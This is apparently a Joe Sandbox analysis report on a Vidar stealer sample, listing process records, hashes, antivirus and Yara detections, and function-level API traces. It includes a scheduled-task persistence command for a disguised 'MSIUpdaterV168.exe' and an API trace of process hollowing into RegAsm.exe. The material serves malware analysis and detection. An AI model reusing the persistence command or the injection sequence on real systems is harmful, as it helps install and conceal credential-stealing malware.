Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe" /tn "MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06 LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0x170000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	00:49:14
Start date:	20/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	00:49:14
Start date:	20/06/2024
Path:	C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\span5OrBOMtvc8QO\UD9d3d9BDMOjLcXwYzjP.exe"
Imagebase:	0x440000
File size:	538'112 bytes
MD5 hash:	F7A5C03E582FC4A5034DA5FA422A0F6C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 63%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	00:49:14
Start date:	20/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x9b0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	00:49:14
Start date:	20/06/2024
Path:	C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe
Imagebase:	0xc00000
File size:	449'536 bytes
MD5 hash:	B2F5D04FC1D63F47EC7CDC2B326B7E83
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000021.00000002.1878372418.0000000000C38000.00000004.00000001.01000000.0000000C.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 66%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	00:49:14
Start date:	20/06/2024
Path:	C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV168_22594e13276480dd456a8441babc227b\MSIUpdaterV168.exe
Imagebase:	0xc00000
File size:	449'536 bytes
MD5 hash:	B2F5D04FC1D63F47EC7CDC2B326B7E83
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000022.00000002.1917031958.0000000000C38000.00000004.00000001.01000000.0000000C.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	00:49:15
Start date:	20/06/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6736 -s 276
Imagebase:	0x180000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	00:49:15
Start date:	20/06/2024
Path:	C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe
Imagebase:	0xd80000
File size:	538'112 bytes
MD5 hash:	F7A5C03E582FC4A5034DA5FA422A0F6C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 63%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	00:49:15
Start date:	20/06/2024
Path:	C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\MSIUpdaterV168_ba275140a7f982708edd6279b1a14d06\MSIUpdaterV168.exe
Imagebase:	0xd80000
File size:	538'112 bytes
MD5 hash:	F7A5C03E582FC4A5034DA5FA422A0F6C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	00:49:16
Start date:	20/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xf0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	00:49:16
Start date:	20/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x110000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	00:49:16
Start date:	20/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x440000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	00:49:16
Start date:	20/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x80000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	00:49:16
Start date:	20/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xcf0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	00:49:16
Start date:	20/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xff0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	00:49:17
Start date:	20/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x4c0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4.4%
Total number of Nodes:	637
Total number of Limit Nodes:	5

Executed Functions

Function 001D018D Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,001D00FF,001D00EF), ref: 001D02FC
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 001D030F
Wow64GetThreadContext.KERNEL32(00000114,00000000), ref: 001D032D
ReadProcessMemory.KERNELBASE(00000118,?,001D0143,00000004,00000000), ref: 001D0351
VirtualAllocEx.KERNELBASE(00000118,?,?,00003000,00000040), ref: 001D037C
TerminateProcess.KERNELBASE(00000118,00000000), ref: 001D039B
WriteProcessMemory.KERNELBASE(00000118,00000000,?,?,00000000,?), ref: 001D03D4
WriteProcessMemory.KERNELBASE(00000118,00400000,?,?,00000000,?,00000028), ref: 001D041F
WriteProcessMemory.KERNELBASE(00000118,-00000008,?,00000004,00000000), ref: 001D045D
Wow64SetThreadContext.KERNEL32(00000114,00610000), ref: 001D0499
ResumeThread.KERNELBASE(00000114), ref: 001D04A8

Strings

CreateProcessA, xrefs: 001D0241
ress, xrefs: 001D0217
SetThreadContext, xrefs: 001D02B3
ResumeThread, xrefs: 001D02C9
GetP, xrefs: 001D020F
VirtualAllocEx, xrefs: 001D028D
GetThreadContext, xrefs: 001D0267
ReadProcessMemory, xrefs: 001D027A
VirtualAlloc, xrefs: 001D0254
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 001D02FB
TerminateProcess, xrefs: 001D038B
WriteProcessMemory, xrefs: 001D02A0
aryA, xrefs: 001D01D3
Load, xrefs: 001D01CB

Memory Dump Source

Source File: 00000000.00000002.1813105751.00000000001D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 001D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_1kBeqS7E3z.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-1257834847
Opcode ID: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction ID: e841c3745998ef2156783b6a54187e82b43c17b7c82fc077b3efcb7e816ba64b
Opcode Fuzzy Hash: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction Fuzzy Hash: B0B1E57664028AAFDB60CF68CC80BDA77A5FF8C714F158525EA0CAB341D774FA418B94

Function 00B38E90 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 165
synchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,Function_00008390,00000000,00000000,00000000), ref: 00B38EB4
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00B38EBF
CloseHandle.KERNEL32(00000000), ref: 00B38EC6
GetNumberOfEventLogRecords.ADVAPI32(00000000,00000000), ref: 00B39091

Strings

Black John, xrefs: 00B38ED9
Agent Smith, xrefs: 00B38F01
Alister, xrefs: 00B38F29

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: CloseCreateEventHandleNumberObjectRecordsSingleThreadWait
String ID: Agent Smith$Alister$Black John
API String ID: 1199335263-3422570730
Opcode ID: e6d1ee27e2cefc945cb57f2df39afc1d4031ed5c9572df2c275ef63b05271523
Instruction ID: f41a55fb891fce432b571b3e1859da7fb5540d5063512b3a3f5d5b25b0491343
Opcode Fuzzy Hash: e6d1ee27e2cefc945cb57f2df39afc1d4031ed5c9572df2c275ef63b05271523
Instruction Fuzzy Hash: C251AB716043009FD324DF24C855B6EB7E5FF88704F248A9CF5859B291EBB0E949CB92

Function 00B594C2 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B5917B: CreateFileW.KERNELBASE(?,00000000,?,00B5956B,?,?,00000000,?,00B5956B,?,0000000C), ref: 00B59198

GetLastError.KERNEL32 ref: 00B595D6
__dosmaperr.LIBCMT ref: 00B595DD
GetFileType.KERNEL32(00000000), ref: 00B595E9
GetLastError.KERNEL32 ref: 00B595F3
__dosmaperr.LIBCMT ref: 00B595FC
CloseHandle.KERNEL32(00000000), ref: 00B5961C
CloseHandle.KERNEL32(00B52107), ref: 00B59769
GetLastError.KERNEL32 ref: 00B5979B
__dosmaperr.LIBCMT ref: 00B597A2

Strings

H, xrefs: 00B59727

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 94f37b92fe644bee630b3642642d9f573f0285778d74700683be640a72e52c7a
Instruction ID: a2cfe8ae83e43aea2a33e9ff5c6a61253d41123eb0820be49960625a9c00a634
Opcode Fuzzy Hash: 94f37b92fe644bee630b3642642d9f573f0285778d74700683be640a72e52c7a
Instruction Fuzzy Hash: 88A12432A14219DFCF19AF68DC91BAD3BE1EB0A311F1401CDEC119B2D1DB75891ACB52

Function 00B32800 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00B32812
std::_Lockit::_Lockit.LIBCPMT ref: 00B3282F
std::_Lockit::~_Lockit.LIBCPMT ref: 00B32850
std::_Lockit::~_Lockit.LIBCPMT ref: 00B328AB
std::_Lockit::_Lockit.LIBCPMT ref: 00B328EC
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00B3292F
std::_Facet_Register.LIBCPMT ref: 00B32958
std::_Lockit::~_Lockit.LIBCPMT ref: 00B32971

Part of subcall function 00B3930A: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00B39316

Strings

bad locale name, xrefs: 00B32980

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Locinfo::_Locinfo_ctorRegisterstd::invalid_argument::invalid_argument
String ID: bad locale name
API String ID: 3096327801-1405518554
Opcode ID: 9ca49551282bfd12b3673c7d9ea6f5fdf1d62e7540e0041adbe6d650bbb01030
Instruction ID: fec74844f78a1ca313b8296a27057a5cde3c194a5a566c64ba658125a0305c1a
Opcode Fuzzy Hash: 9ca49551282bfd12b3673c7d9ea6f5fdf1d62e7540e0041adbe6d650bbb01030
Instruction Fuzzy Hash: 56418F72A043518FC710DF58D881B6ABBE0EF94750F2545ADE889A7311DB31ED09CB93

Function 00B4C66C Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00B54041,?,00000000,?,?,00B542E2,?,00000007,?,?,00B547DB,?,?), ref: 00B4C682
GetLastError.KERNEL32(?,?,00B54041,?,00000000,?,?,00B542E2,?,00000007,?,?,00B547DB,?,?), ref: 00B4C68D

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: e4821c3e363552e6c5f8ac666b9ecc040e103c12a5bf5b61c00ba0e4af8add6e
Instruction ID: 0615a8b1cfa0193d481c1dc2a6a6c4f1b733ed114bbda227a5a5ffdf30e0e3a5
Opcode Fuzzy Hash: e4821c3e363552e6c5f8ac666b9ecc040e103c12a5bf5b61c00ba0e4af8add6e
Instruction Fuzzy Hash: 06E08631501304AFDB112BB4EC097593E99DF01755F054090FA0C974A0CA318950DB84

Function 00B520C8 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsopen_s.LIBCMT ref: 00B52102

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 277dafd78853663e2d0f74a74f815baea4cc897f47e7b1123ba468a022284920
Instruction ID: fcc0fbb143f8e8cef90a6afcafdb23192ff49c0505626c3261a2e28fd5ccfff5
Opcode Fuzzy Hash: 277dafd78853663e2d0f74a74f815baea4cc897f47e7b1123ba468a022284920
Instruction Fuzzy Hash: BC111575A0420AAFCF09DF58E941AAB7BF5EF48314F0440A9F909AB251D630EA15CBA5

Function 00B4FD7A Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00B3B51E,?,?,00B314CD,?,?,00B383BE,?,?), ref: 00B4FDAC

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0091e0f5ce2504bfed4834ff8b56456d6bf17550747136eb19f8f41029729b59
Instruction ID: 8e419381962e5d9dc0e4261fdfecaf8e7205f15d209384cd1a424d611019f0cb
Opcode Fuzzy Hash: 0091e0f5ce2504bfed4834ff8b56456d6bf17550747136eb19f8f41029729b59
Instruction Fuzzy Hash: 9BE0ED32E40227ABEA223A758C00BBA7AC9DF417A1F1401F1EC15970D1CF20CE01B1E1

Function 00B5917B Relevance: 1.5, APIs: 1, Instructions: 15
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,00000000,?,00B5956B,?,?,00000000,?,00B5956B,?,0000000C), ref: 00B59198

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b29dca1acea714eaca4e1bf9e9f2263d2f5b589b37893b668233b711567eecf0
Instruction ID: fb567de0dba53a8c28977da6d18621a0aba4a9427af240c409ca88b6a65a9f2a
Opcode Fuzzy Hash: b29dca1acea714eaca4e1bf9e9f2263d2f5b589b37893b668233b711567eecf0
Instruction Fuzzy Hash: F5D06C3200020DFFDF028F84DC06EDA3FAAFB48715F014140BA1866060C732E861AB90

Function 00B38390 Relevance: 1.4, APIs: 1, Instructions: 124
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,000004AC,00001000,00000040,?), ref: 00B3843E

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: fb76effee1d80a0d5c3eebbfdb280f25ad8d42966541e2d347f47bb4a6da8fee
Instruction ID: 0b4e4f4371f22cac1cbf1976a19a74727c064b9a944873210bd5818158f8437c
Opcode Fuzzy Hash: fb76effee1d80a0d5c3eebbfdb280f25ad8d42966541e2d347f47bb4a6da8fee
Instruction Fuzzy Hash: B041E5719003149BDB10EB74DC46BEEB7F4AF58310F2442A5F905B7382EB75AA44C765

Non-executed Functions

Function 00B56C34 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00B56E18

Strings

1#QNAN, xrefs: 00B56D47
1#INF, xrefs: 00B56D6A
1#SNAN, xrefs: 00B56D40
1#IND, xrefs: 00B56D39

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: d13ad5f535034722c979f1d5d9ee7694c5f9779882ea41442f90a579eebb904d
Instruction ID: 8a2f34dfcdb018b7de5cc3417ac7a3f5e63c32fcb81438ed5255d60d8c5c11da
Opcode Fuzzy Hash: d13ad5f535034722c979f1d5d9ee7694c5f9779882ea41442f90a579eebb904d
Instruction Fuzzy Hash: 1FD21971E486298FDB65CE28DC407EAB7F5EB44306F1445EAD80DE7240EB74AE898F41

Function 00B557EC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00B55B0A,00000002,00000000,?,?,?,00B55B0A,?,00000000), ref: 00B55885
GetLocaleInfoW.KERNEL32(?,20001004,00B55B0A,00000002,00000000,?,?,?,00B55B0A,?,00000000), ref: 00B558AE
GetACP.KERNEL32(?,?,00B55B0A,?,00000000), ref: 00B558C3

Strings

ACP, xrefs: 00B5580A
OCP, xrefs: 00B55840

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: f2c791d56ee8a1965442715f2276ed8a0d72df53f07b5d33155b9d580ed52790
Instruction ID: f143d5020cac242fb19f89a047e1bd77641c3b9459bb248a7ab4179b6e4edc23
Opcode Fuzzy Hash: f2c791d56ee8a1965442715f2276ed8a0d72df53f07b5d33155b9d580ed52790
Instruction Fuzzy Hash: FF21C832A00A00EAD7348F54C965B9773E6EF54B57B5A84E4ED0ADB104F732ED49C750

Function 00B559C1 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B4B940: GetLastError.KERNEL32(?,00000008,00B5118C), ref: 00B4B944
Part of subcall function 00B4B940: SetLastError.KERNEL32(00000000,00B66140,00000003,000000FF), ref: 00B4B9E6

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00B55ACD
IsValidCodePage.KERNEL32(00000000), ref: 00B55B16
IsValidLocale.KERNEL32(?,00000001), ref: 00B55B25
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00B55B6D
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00B55B8C

Memory Dump Source

Source File: 00000000.00000002.1813580136.0000000000B31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.1813519287.0000000000B30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813610788.0000000000B5C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813652869.0000000000B68000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1813877793.0000000000CFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_1kBeqS7E3z.jbxd

Similarity

